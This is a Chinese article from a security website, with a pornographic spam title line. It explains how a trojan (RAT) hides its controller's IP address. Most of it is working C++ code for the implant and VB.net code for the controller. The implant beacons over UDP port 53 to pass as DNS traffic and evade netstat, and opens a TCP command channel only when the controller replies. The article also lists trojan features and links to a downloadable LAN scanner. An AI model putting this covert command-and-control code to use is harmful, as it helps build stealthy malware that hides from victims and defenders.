压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

淺談木馬如何隱藏上線IP地址

木馬也叫RAT,或者叫遠(yuǎn)程管理軟件,關(guān)于如何隱藏IP地址,應(yīng)該有不少人在研究,比如ROOTKIT實(shí)現(xiàn)文件隱藏、進(jìn)程隱藏、網(wǎng)絡(luò)連接隱藏等等。本人才疏學(xué)淺,沒有深入研究過ROOTKIT,只是談?wù)剳?yīng)用層的技術(shù)。

下面給出流程圖:

1

解釋一下流程圖的原理,UDP網(wǎng)絡(luò)協(xié)議是面向無連接的,和TCP協(xié)議的三次握手不同。

用系統(tǒng)自帶的查看網(wǎng)絡(luò)連接的命令 netstat -ano 是查看不到遠(yuǎn)程IP地址和端口的,用第三方軟件或者工具也同樣查看不到,如以前的冰刃、360網(wǎng)絡(luò)連接查看器等等。

下面結(jié)合源代碼和效果圖來說明下IP地址是如何隱藏的。

被控端關(guān)鍵源代碼(C++):

DWORD?WINAPI?ConnTask::InitUdpConn(LPVOID?lpParameter)
{
???????WSADATA?WSA;
????????if?((WSAStartup(MAKEWORD(2,2),&WSA))?!=?0)
???????{
??????????????printf("[e]WSAStartup?Error!\n");
???????}
???????boolean?IsUdpConn=true;
???????int?timeout=1000;
?
???????while(IsUdpConn)
???????{
??????????????try
??????????????{
??????????????Sleep(UdpTime);??
??????????????SOCKET?sockClient=socket(AF_INET,SOCK_DGRAM,0);
??????????????setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const?char*)&timeout,sizeof(int));
??????????????setsockopt(sockClient,?SOL_SOCKET,?SO_RCVTIMEO,?(const?char?*)&timeout,?sizeof(int)?);
??????????????SOCKADDR_IN?addrSrv;
???????????????//域名上線
??????????????struct?hostent?*host?=?gethostbyname(g_remote_host.c_str());
??????????????addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct?in_addr*)(host->h_addr))));
??????????????addrSrv.sin_family=AF_INET;
??????????????addrSrv.sin_port=htons(53);
?
??????????????u_long?ul=1;//代表非阻塞
??????????????ioctlsocket(sockClient,FIONBIO,&ul);//設(shè)置為非阻塞連接
??????????????string?sendStr?=?"0x4869";
??????????????sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
?
??????????????u_long?ulu=0;//代表阻塞
??????????????ioctlsocket(sockClient,FIONBIO,&ulu);//設(shè)置為阻塞連接
??????????????int?len=sizeof(SOCKADDR);
??????????????char?recvBuf[14]={0};
??????????????recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len);
?
??????????????string?recvStr=recvBuf;
??????????????if?(0?==?strncmp(recvStr.c_str(),?"4F70656E546370",14))
??????????????{
?????????????????????IsUdpConn=false;
?????????????????????InitTcpConn();
?????????????????????closesocket(sockClient);
??????????????}
??????????????SYSTEMTIME?sys;
??????????????GetLocalTime(?&sys?);
??????????????printf("udprecv?time:?%02d:%02d:%02d?",sys.wHour,sys.wMinute,?sys.wSecond);
??????????????printf("%s\n",recvStr.c_str());
??????????????closesocket(sockClient);
?????????????
??????????????}catch(...)??//捕獲任意類型異常
??????????????{
?
??????????????}
???????}
???????WSACleanup();
}

控制端關(guān)鍵源代碼(vb.net):

?Private?Sub?InitUdp()????????
?Try
????????????Dim?udpServer?As?New?UdpClient(53)'53號(hào)端口是DNS?協(xié)議端口,隱蔽性好。
????????????Dim?groupEP?As?New?IPEndPoint(IPAddress.Any,?53)
????????????While?(True)
????????????????Dim?buffer?As?Byte()?=?udpServer.Receive(groupEP)
?
????????????????Dim?revStr?As?String?=?Encoding.UTF8.GetString(buffer,?0,?buffer.Length)
????????????????Dim?ipaddr?As?String?=?groupEP.Address.ToString()
????????????????Dim?MessageIn?As?New?gDelegate(AddressOf?displayTxt)
????????????????Me.Invoke(MessageIn,?ipaddr?&?"?"?&?revStr)
???????????????????????
????????????????udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"),?7,?groupEP)
?
????????????End?While
????????Catch?ex?As?SocketException
????????????Debug.Print(ex.ToString())
????????????'MsgBox(ex.ToString())
????????Catch?e?As?Exception
????????????Debug.Print(e.ToString())
????????????'MsgBox(e.ToString())
????????Finally
?
????????End?Try
?
????End?Sub

上面的代碼只是用來測(cè)試用的,真正的木馬源代碼會(huì)有少量的變化。

下面是測(cè)試程序效果圖。

被控端:

2

控制端:

4

控制端我這里用的是內(nèi)網(wǎng)的IP地址,用公網(wǎng)IP地址也是一樣的效果。

到了這里有人會(huì)問, 最后你這里還是會(huì)用TCP 來建立連接, TCP連接就會(huì)有網(wǎng)絡(luò)連接的遠(yuǎn)程IP地址。是的,沒錯(cuò),確實(shí)能看到網(wǎng)絡(luò)連接、IP地址也能查看到。這樣是不是就沒有必要之前的步驟了, 我個(gè)人看法是有必要; 為什么? 因?yàn)榻^大多數(shù)木馬都是開機(jī)自啟動(dòng)的, 自啟動(dòng)后控制端并不一定處于監(jiān)聽狀態(tài)。

可能1個(gè)小時(shí),也可能一天或者一個(gè)月。只要控制端不處于監(jiān)聽狀態(tài),被控端就一直查不到遠(yuǎn)程的IP地址。還有一個(gè)步驟這里說明下,當(dāng)控制端發(fā)送完指令 后,比如文件上傳下載、執(zhí)行命令、屏幕捕獲等等木馬常用的功能, 當(dāng)發(fā)送完這些指令后, 控制端可以隨時(shí)發(fā)送斷開 TCP 連接的指令,讓被控端再次進(jìn)入U(xiǎn)DP發(fā)送消息的流程中,這樣 IP 地址再次隱藏。

最后是高潮部分。

看下遠(yuǎn)控程序的實(shí)際效果圖:

3

5

作為觀看這篇文章的獎(jiǎng)勵(lì), 我有一個(gè)小禮物送給大家。

xmap

主要功能:獲取局域網(wǎng)在線IP地址,MAC地址,MAC設(shè)備制造商.

使用方法:

方法一:直接命令行下執(zhí)行xmap.

方法二:xmap 本機(jī)IP 本機(jī)子網(wǎng)掩碼

注意:參數(shù)中間都有空格。

效果圖如下:

6

下載地址:

鏈接: http://pan.baidu.com/s/1jGBwbkE 密碼: b8p9

上一篇:山石網(wǎng)科受邀參加網(wǎng)絡(luò)安全周政務(wù)安全日主題論壇

下一篇:美國人事管理局遭遇大規(guī)模網(wǎng)絡(luò)攻擊